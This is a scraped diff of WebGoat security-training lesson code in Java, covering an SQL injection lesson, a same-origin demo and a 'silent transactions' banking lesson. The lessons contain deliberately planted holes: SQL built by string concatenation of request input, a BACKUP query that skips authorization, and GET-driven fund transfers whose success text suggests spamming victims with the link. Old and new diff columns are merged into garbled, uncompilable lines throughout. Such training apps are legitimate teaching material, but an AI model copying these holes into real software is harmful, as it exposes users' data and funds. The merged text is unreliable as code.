profile = new Employee(answer_results.getInt("userid"), String employeeId = null;
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, String userId,
String subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
private void updateLessonStatus(WebSession s, Employee employee)
{
try
{
String userId = getSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID);
String employeeId = s.getParser().getRawParameter(
SQLInjection.EMPLOYEE_ID);
String stage = getStage(s);
if (SQLInjection.STAGE3.equals(stage))
{
// If the employee we are viewing is the prize and we are not authorized to have it,
// the stage is completed
if (employee != null
&& employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID
&& !isAuthorizedForEmployee(s, Integer
.parseInt(userId), employee.getId()))
{
setStageComplete(s, SQLInjection.STAGE3);
}
}
else if (SQLInjection.STAGE4.equals(stage))
{
// If we were denied the employee to view, and we would have been able to view it
// in the broken state, the stage is completed.
// This assumes the student hasn't modified getEmployeeProfile_BACKUP().
if (employee == null)
{
Employee targetEmployee = null;
try try
{ {
targetEmployee = getEmployeeProfile_BACKUP(s, // User selected employee
userId, employeeId); employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID);
} } catch (ParameterNotFoundException e)
catch (UnauthorizedException e)
{}
if (targetEmployee != null
&& targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID)
{ {
setStageComplete(s, SQLInjection.STAGE4); // May be an internally selected employee
employeeId = getRequestAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ID);
} }
}
} // FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an
// Employee.
// Most other JSP's can handle null session attributes.
employee = getEmployeeProfile(s, userId, employeeId);
// If employee==null redirect to the error page.
if (employee == null)
getLesson().setCurrentAction(s, SQLInjection.ERROR_ACTION);
else
setSessionAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
updateLessonStatus(s, employee);
}
public String getNextPage(WebSession s)
{
return SQLInjection.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, String userId, String subjectUserId)
throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
private void updateLessonStatus(WebSession s, Employee employee)
{
try
{
String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
String employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID);
String stage = getStage(s);
if (SQLInjection.STAGE3.equals(stage))
{
// If the employee we are viewing is the prize and we are not authorized to have it,
// the stage is completed
if (employee != null && employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID
&& !isAuthorizedForEmployee(s, Integer.parseInt(userId), employee.getId()))
{
setStageComplete(s, SQLInjection.STAGE3);
}
}
else if (SQLInjection.STAGE4.equals(stage))
{
// If we were denied the employee to view, and we would have been able to view it
// in the broken state, the stage is completed.
// This assumes the student hasn't modified getEmployeeProfile_BACKUP().
if (employee == null)
{
Employee targetEmployee = null;
try
{
targetEmployee = getEmployeeProfile_BACKUP(s, userId, employeeId);
} catch (UnauthorizedException e)
{
}
if (targetEmployee != null && targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID)
{
setStageComplete(s, SQLInjection.STAGE4);
}
}
}
} catch (ParameterNotFoundException pnfe)
{
}
} }
catch (ParameterNotFoundException pnfe)
{}
}
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -21,183 +21,159 @@ import org.owasp.webgoat.session.*;
public class SameOriginPolicyProtection extends LessonAdapter public class SameOriginPolicyProtection extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/**
* Description of the Method
/** *
* Description of the Method * @param s
* * Description of the Parameter
* @param s Description of the Parameter * @return Description of the Return Value
* @return Description of the Return Value */
*/ protected Element createContent(WebSession s)
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{ {
ElementContainer ec = new ElementContainer();
ec.addElement(new Script() try
.setSrc("javascript/sameOrigin.js")); {
Input hiddenWGStatus = new Input(Input.HIDDEN,"hiddenWGStatus",0); ec.addElement(new Script().setSrc("javascript/sameOrigin.js"));
hiddenWGStatus.setID("hiddenWGStatus");
ec.addElement(hiddenWGStatus);
Input hiddenGoogleStatus = new Input(Input.HIDDEN,"hiddenGoogleStatus",0); Input hiddenWGStatus = new Input(Input.HIDDEN, "hiddenWGStatus", 0);
hiddenGoogleStatus.setID("hiddenGoogleStatus"); hiddenWGStatus.setID("hiddenWGStatus");
ec.addElement(hiddenGoogleStatus); ec.addElement(hiddenWGStatus);
Input hiddenGoogleStatus = new Input(Input.HIDDEN, "hiddenGoogleStatus", 0);
hiddenGoogleStatus.setID("hiddenGoogleStatus");
ec.addElement(hiddenGoogleStatus);
ec.addElement(new StringElement("Enter a URL: "));
ec.addElement(new BR());
ec.addElement(new StringElement("Enter a URL: ")); TextArea urlArea = new TextArea();
ec.addElement(new BR()); urlArea.setID("requestedURL");
urlArea.setRows(1);
urlArea.setCols(60);
urlArea.setWrap("SOFT");
ec.addElement(urlArea);
TextArea urlArea = new TextArea(); button b = new button();
urlArea.setID("requestedURL"); b.setValue("Go!");
urlArea.setRows(1); b.setType(button.button);
urlArea.setCols(60); b.setName("Go!");
urlArea.setWrap("SOFT"); b.setOnClick("submitXHR();");
ec.addElement(urlArea); b.addElement("Go!");
ec.addElement(b);
ec.addElement(new BR());
ec.addElement(new BR());
button b = new button(); H3 reponseTitle = new H3("Response: ");
b.setValue("Go!"); reponseTitle.setID("responseTitle");
b.setType(button.button);
b.setName("Go!");
b.setOnClick("submitXHR();");
b.addElement("Go!");
ec.addElement(b);
ec.addElement(reponseTitle);
// ec.addElement(new BR());
TextArea ta = new TextArea();
ta.setName("responseArea");
ta.setID("responseArea");
ta.setCols(60);
ta.setRows(4);
ec.addElement(ta);
ec.addElement(new BR());
String webGoatURL = "lessons/Ajax/sameOrigin.jsp";
String googleURL = "http://www.google.com/search?q=aspect+security";
ec.addElement(new BR());
ec.addElement(new BR()); A webGoat = new A();
ec.addElement(new BR()); webGoat.setHref("javascript:populate(\"" + webGoatURL + "\")");
webGoat.addElement("Click here to try a Same Origin request:<BR/> " + webGoatURL);
ec.addElement(webGoat);
ec.addElement(new BR());
ec.addElement(new BR());
A google = new A();
google.setHref("javascript:populate(\"" + googleURL + "\")");
google.addElement("Click here to try a Different Origin request:<BR/> " + googleURL);
ec.addElement(google);
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
H3 reponseTitle = new H3("Response: "); int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0);
reponseTitle.setID("responseTitle"); int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0);
System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
ec.addElement(reponseTitle); if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1)
//ec.addElement(new BR()); {
makeSuccess(s);
}
return (ec);
TextArea ta = new TextArea();
ta.setName("responseArea");
ta.setID("responseArea");
ta.setCols(60);
ta.setRows(4);
ec.addElement(ta);
ec.addElement(new BR());
String webGoatURL = "lessons/Ajax/sameOrigin.jsp";
String googleURL = "http://www.google.com/search?q=aspect+security";
ec.addElement(new BR());
A webGoat = new A();
webGoat.setHref("javascript:populate(\"" + webGoatURL + "\")");
webGoat.addElement("Click here to try a Same Origin request:<BR/> " + webGoatURL);
ec.addElement(webGoat);
ec.addElement(new BR());
ec.addElement(new BR());
A google = new A();
google.setHref("javascript:populate(\"" + googleURL + "\")");
google.addElement("Click here to try a Different Origin request:<BR/> " + googleURL);
ec.addElement(google);
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
/**
* Gets the hints attribute of the HelloScreen object
*
int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus",0); * @return The hints value
int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus",0); */
public List<String> getHints(WebSession s)
System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1)
{ {
makeSuccess(s); List<String> hints = new ArrayList<String>();
hints.add("Enter a URL to see if it is allowed.");
hints.add("Click both of the links below to complete the lesson");
return hints;
} }
return (ec); /**
} * Gets the ranking attribute of the HelloScreen object
*
* @return The ranking value
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/** protected Category getDefaultCategory()
* Gets the hints attribute of the HelloScreen object {
* return Category.AJAX_SECURITY;
* @return The hints value }
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Enter a URL to see if it is allowed.");
hints.add("Click both of the links below to complete the lesson");
return hints; /**
} * Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Same Origin Policy Protection");
}
/** public Element getCredits()
* Gets the ranking attribute of the HelloScreen object {
* return super.getCustomCredits("", ASPECT_LOGO);
* @return The ranking value }
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Same Origin Policy Protection");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
public String getInstructions(WebSession s) {
String instructions = "This exercise demonstrates the " +
"Same Origin Policy Protection. XHR requests can only be passed back to " +
" the originating server. Attempts to pass data to a non-originating server " +
" will fail.";
public String getInstructions(WebSession s)
{
String instructions = "This exercise demonstrates the "
+ "Same Origin Policy Protection. XHR requests can only be passed back to "
+ " the originating server. Attempts to pass data to a non-originating server " + " will fail.";
return (instructions); return (instructions);
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.apache.ecs.Element; import org.apache.ecs.Element;
@ -7,133 +8,131 @@ import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.SequentialLessonTracker; import org.owasp.webgoat.session.SequentialLessonTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public abstract class SequentialLessonAdapter extends LessonAdapter {
public abstract class SequentialLessonAdapter extends LessonAdapter
{
public void setStage(WebSession s, int stage) public void setStage(WebSession s, int stage)
{ {
// System.out.println("Changed to stage " + stage); // System.out.println("Changed to stage " + stage);
getLessonTracker(s).setStage(stage); getLessonTracker(s).setStage(stage);
} }
/* By default returns 1 stage. /*
* (non-Javadoc) * By default returns 1 stage. (non-Javadoc)
*/ */
public int getStageCount() { public int getStageCount()
return 1; {
} return 1;
}
public int getStage(WebSession s) public int getStage(WebSession s)
{ {
int stage = getLessonTracker(s).getStage(); int stage = getLessonTracker(s).getStage();
// System.out.println("In stage " + stage); // System.out.println("In stage " + stage);
return stage; return stage;
} }
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s) { public SequentialLessonTracker getLessonTracker(WebSession s)
return (SequentialLessonTracker) super.getLessonTracker(s); {
} return (SequentialLessonTracker) super.getLessonTracker(s);
}
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) { public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson)
{
return (SequentialLessonTracker) super.getLessonTracker(s, lesson); return (SequentialLessonTracker) super.getLessonTracker(s, lesson);
} }
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride) { public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride)
{
return (SequentialLessonTracker) super.getLessonTracker(s, userNameOverride); return (SequentialLessonTracker) super.getLessonTracker(s, userNameOverride);
} }
@Override @Override
public LessonTracker createLessonTracker() { public LessonTracker createLessonTracker()
{
return new SequentialLessonTracker(); return new SequentialLessonTracker();
} }
protected Element createStagedContent(WebSession s) protected Element createStagedContent(WebSession s)
{
try
{ {
int stage = getLessonTracker(s).getStage(); try
//int stage = Integer.parseInt( getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1")); {
int stage = getLessonTracker(s).getStage();
// int stage = Integer.parseInt(
// getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1"));
switch (stage) switch (stage)
{ {
case 1: case 1:
return (doStage1(s)); return (doStage1(s));
case 2: case 2:
return (doStage2(s)); return (doStage2(s));
case 3: case 3:
return (doStage3(s)); return (doStage3(s));
case 4: case 4:
return (doStage4(s)); return (doStage4(s));
case 5: case 5:
return (doStage5(s)); return (doStage5(s));
case 6: case 6:
return (doStage6(s)); return (doStage6(s));
default: default:
throw new Exception("Invalid stage"); throw new Exception("Invalid stage");
} }
} } catch (Exception e)
catch (Exception e) {
{ s.setMessage("Error generating " + this.getClass().getName());
s.setMessage("Error generating " + this.getClass().getName()); System.out.println(e);
System.out.println(e); e.printStackTrace();
e.printStackTrace(); }
return (new StringElement(""));
} }
return (new StringElement("")); protected Element doStage1(WebSession s) throws Exception
} {
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 1 Stub");
return ec;
}
protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 2 Stub");
return ec;
}
protected Element doStage1(WebSession s) throws Exception protected Element doStage3(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("Stage 1 Stub"); ec.addElement("Stage 3 Stub");
return ec; return ec;
} }
protected Element doStage4(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 4 Stub");
return ec;
}
protected Element doStage2(WebSession s) throws Exception protected Element doStage5(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("Stage 2 Stub"); ec.addElement("Stage 5 Stub");
return ec; return ec;
} }
protected Element doStage6(WebSession s) throws Exception
protected Element doStage3(WebSession s) throws Exception {
{ ElementContainer ec = new ElementContainer();
ElementContainer ec = new ElementContainer(); ec.addElement("Stage 6 Stub");
ec.addElement("Stage 3 Stub"); return ec;
return ec; }
}
protected Element doStage4(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 4 Stub");
return ec;
}
protected Element doStage5(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 5 Stub");
return ec;
}
protected Element doStage6(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement("Stage 6 Stub");
return ec;
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -20,296 +20,270 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created December 26, 2006 * @created December 26, 2006
*/ */
public class SilentTransactions extends LessonAdapter public class SilentTransactions extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(40); private final static Integer DEFAULT_RANKING = new Integer(40);
private final static Double CURRENT_BALANCE = 11987.09; private final static Double CURRENT_BALANCE = 11987.09;
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{
try
{ {
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{ try
if (s.getParser().getRawParameter("confirm", "").equals(
"Confirm"))
{ {
String amount = s.getParser().getRawParameter("amount", ""); if (s.getParser().getRawParameter("from", "").equals("ajax"))
s.getResponse().setContentType("text/html"); {
s.getResponse().setHeader("Cache-Control", "no-cache"); if (s.getParser().getRawParameter("confirm", "").equals("Confirm"))
PrintWriter out = new PrintWriter(s.getResponse() {
.getOutputStream()); String amount = s.getParser().getRawParameter("amount", "");
StringBuffer result = new StringBuffer(); s.getResponse().setContentType("text/html");
result s.getResponse().setHeader("Cache-Control", "no-cache");
.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>"); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
if (!amount.equals("")) StringBuffer result = new StringBuffer();
{ result.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>");
result.append("You have just silently authorized "); if (!amount.equals(""))
result.append(amount); {
result.append("$ without the user interaction.<br>"); result.append("You have just silently authorized ");
} result.append(amount);
result result.append("$ without the user interaction.<br>");
.append("Now you can send out a spam email containing this link and whoever clicks on it<br>"); }
result result
.append(" and happens to be logged in the same time will loose their money !!"); .append("Now you can send out a spam email containing this link and whoever clicks on it<br>");
out.print(result.toString()); result.append(" and happens to be logged in the same time will loose their money !!");
out.flush(); out.print(result.toString());
out.close(); out.flush();
getLessonTracker(s).setCompleted(true); out.close();
return; getLessonTracker(s).setCompleted(true);
} return;
else if (s.getParser().getRawParameter("confirm", "").equals( }
"Transferring")) else if (s.getParser().getRawParameter("confirm", "").equals("Transferring"))
{
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print("<br><br>The Transaction has Completed Successfully.");
out.flush();
out.close();
return;
}
}
} catch (Exception ex)
{ {
s.getResponse().setContentType("text/html"); ex.printStackTrace();
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
out
.print("<br><br>The Transaction has Completed Successfully.");
out.flush();
out.close();
return;
} }
}
} Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
catch (Exception ex)
{ form.addElement(createContent(s));
ex.printStackTrace();
setContent(form);
} }
Form form = new Form(getFormAction(), Form.POST).setName("form") /**
.setEncType(""); * Description of the Method
*
* @param s
* Current WebSession
*/
form.addElement(createContent(s)); protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String lineSep = System.getProperty("line.separator");
String script = "<script>"
+ lineSep
+ "function processData(){"
+ lineSep
+ " var accountNo = document.getElementById('newAccount').value;"
+ lineSep
+ " var amount = document.getElementById('amount').value;"
+ lineSep
+ " if ( accountNo == ''){"
+ lineSep
+ " alert('Please enter a valid account number to transfer to.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
+ " else if ( amount == ''){"
+ lineSep
+ " alert('Please enter a valid amount to transfer.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
+ " var balanceValue = document.getElementById('balanceID').innerHTML;"
+ lineSep
+ " balanceValue = balanceValue.replace( new RegExp('$') , '');"
+ lineSep
+ " if ( parseFloat(amount) > parseFloat(balanceValue) ) {"
+ lineSep
+ " alert('You can not transfer more funds than what is available in your balance.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
+ " document.getElementById('confirm').value = 'Transferring'"
+ lineSep
+ "submitData(accountNo, amount);"
+ lineSep
+ " document.getElementById('confirm').value = 'Confirm'"
+ lineSep
+ "balanceValue = parseFloat(balanceValue) - parseFloat(amount);"
+ lineSep
+ "balanceValue = balanceValue.toFixed(2);"
+ lineSep
+ "document.getElementById('balanceID').innerHTML = balanceValue + '$';"
+ lineSep
+ "}"
+ lineSep
+ "function submitData(accountNo, balance) {"
+ lineSep
+ "var url = '"
+ getLink()
+ "&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; "
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();"
+ lineSep + "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep + " }" + lineSep
+ " req.open('GET', url, true);" + lineSep + " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep + "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep + " if (req.status == 200) { " + lineSep
+ " var result = req.responseText ;" + lineSep
+ " var resultsDiv = document.getElementById('resultsDiv');" + lineSep
+ " resultsDiv.innerHTML = '';" + lineSep + " resultsDiv.innerHTML = result;" + lineSep
+ " }}}" + lineSep + "</script>" + lineSep;
setContent(form); ec.addElement(new StringElement(script));
ec.addElement(new H1("Welcome to WebGoat Banking System"));
ec.addElement(new BR());
ec.addElement(new H3("Account Summary:"));
} Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("70%").setAlign("left");
ec.addElement(new BR());
TR tr = new TR();
tr.addElement(new TD(new StringElement("Account Balance:")));
tr.addElement(new TD(new StringElement("<div id='balanceID'>" + CURRENT_BALANCE.toString() + "$</div>")));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD(new StringElement("Transfer to Account:")));
Input newAccount = new Input();
newAccount.addAttribute("id", "newAccount");
newAccount.setType(Input.TEXT);
newAccount.setName("newAccount");
newAccount.setValue("");
tr.addElement(new TD(newAccount));
t1.addElement(tr);
/** tr = new TR();
* Description of the Method tr.addElement(new TD(new StringElement("Transfer Amount:")));
* Input amount = new Input();
* @param s Current WebSession amount.addAttribute("id", "amount");
*/ amount.setType(Input.TEXT);
amount.setName("amount");
amount.setValue(0);
tr.addElement(new TD(amount));
t1.addElement(tr);
protected Element createContent(WebSession s) ec.addElement(t1);
{ ec.addElement(new BR());
ElementContainer ec = new ElementContainer(); ec.addElement(new BR());
String lineSep = System.getProperty("line.separator");
String script = "<script>"
+ lineSep
+ "function processData(){"
+ lineSep
+ " var accountNo = document.getElementById('newAccount').value;"
+ lineSep
+ " var amount = document.getElementById('amount').value;"
+ lineSep
+ " if ( accountNo == ''){"
+ lineSep
+ " alert('Please enter a valid account number to transfer to.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
+ " else if ( amount == ''){"
+ lineSep
+ " alert('Please enter a valid amount to transfer.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
+ " var balanceValue = document.getElementById('balanceID').innerHTML;"
+ lineSep
+ " balanceValue = balanceValue.replace( new RegExp('$') , '');"
+ lineSep
+ " if ( parseFloat(amount) > parseFloat(balanceValue) ) {"
+ lineSep
+ " alert('You can not transfer more funds than what is available in your balance.')"
+ lineSep
+ " return;"
+ lineSep
+ "}"
+ lineSep
